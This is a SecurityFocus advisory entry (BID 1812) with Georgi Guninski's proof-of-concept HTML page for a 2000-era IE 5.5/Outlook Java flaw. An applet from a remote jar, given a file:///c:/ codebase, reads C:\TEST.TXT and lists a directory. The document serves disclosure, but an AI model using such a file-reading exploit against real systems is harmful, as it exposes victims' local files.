source: http://www.securityfocus.com/bid/1812/info An attacker may gain read access on remote systems by specifying a custom codebase in a Java applet, and delivering to the victim(s) via HTML email or a website. Any arbitrary codebase can be referenced by a java applet that was loaded by an <OBJECT> tag in conjunction with a jar file when using Microsoft Internet Explorer or Outlook/Outlook Express. This allows for the possibility of any known file to be read by a remote attacker. <HTML> <HEAD> <TITLE> Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs </TITLE> </HEAD> <BODY> Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs <BR> This page reads C:\TEST.TXT and displays the directory listing of C:\ <BR> <A HREF="javacodebase1-desc.html">Advisory</A> <BR> <OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590> <PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar"> <PARAM NAME="CODEBASE" VALUE="file:///c:/"> <PARAM NAME="URL" VALUE="file:///c:/test.txt"> </OBJECT> <center>(C) Copyright 2000 Georgi Guninski</center> <BR> <center> | <a href="http://www.guninski.com">Home</a> | <a href="browsers.html">Internet Explorer</a> | <a href="win2k.html">Windows 2000</a> | <a href="exploit.html">AIX</a> | <a href="netscape.html">Netscape</a> | <a href="greets.html">Greets</a> | <a href="index.html">More...</a> | </center> </BODY> </HTML>